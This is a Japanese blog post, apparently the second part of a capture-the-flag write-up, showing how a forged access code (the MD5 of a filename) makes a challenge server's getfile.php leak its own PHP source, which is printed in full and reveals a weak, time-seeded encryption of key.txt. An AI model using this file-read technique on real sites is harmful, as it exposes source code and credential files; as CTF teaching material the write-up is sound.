wakatonoの戯れメモ

はてなダイアリーから引っ越してきました。

3dub 4 rememberme write up(2) - getfile.phpを使って,getfile.phpのソースコードを取得しよう

次は,getfile.phpを実行してgetfile.phpを取得する.
余談だが,ファイルへのアクセスを行わせるCGIやWebアプリケーションの脆弱性の中に,任意のファイルへのアクセスを許してしまうこともある.任意のファイルということは,CGIやWebアプリケーションを構成するファイルにもアクセスを許すということにつながり,さらなる脆弱性の発見につながる.
具体的には,以下のようなコマンドラインになる.
accesscodeでの指定値は,適宜計算すればOKだろう.

http://rememberme.shallweplayaga.me/getfile.php?filename=getfile.php&accesscode=[result of `echo -n getfile.php | md5sum`]

すると,以下のような結果を得られる.
スクリプトとしては少しだけ不十分だが,まぁ読むには十分だ.


Acces granted to getfile.php!




$value = time();
$filename = $_GET["filename"];
$accesscode = $_GET["accesscode"];
if (md5($filename) == $accesscode){
echo "Acces granted to $filename!

";
srand($value);
if (in_array($filename, array('getfile.php', 'index.html', 'key.txt', 'login.php', 'passwords.txt', 'usernames.txt'))==TRUE){
$data = file_get_contents($filename);
if ($data !== FALSE) {
if ($filename == "key.txt") {
$key = rand();
$cyphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC);
echo base64_encode($cyphertext);
}
else{
echo nl2br($data);
}

}
else{
echo "File does not exist";
}
}
else{
echo "File does not exist";
}

}
else{
echo "Invalid access code";
}
?>

ここで"key.txt"という言葉が出てくる.これを読み出せばOK,なのだが,さらに一工夫が求められる.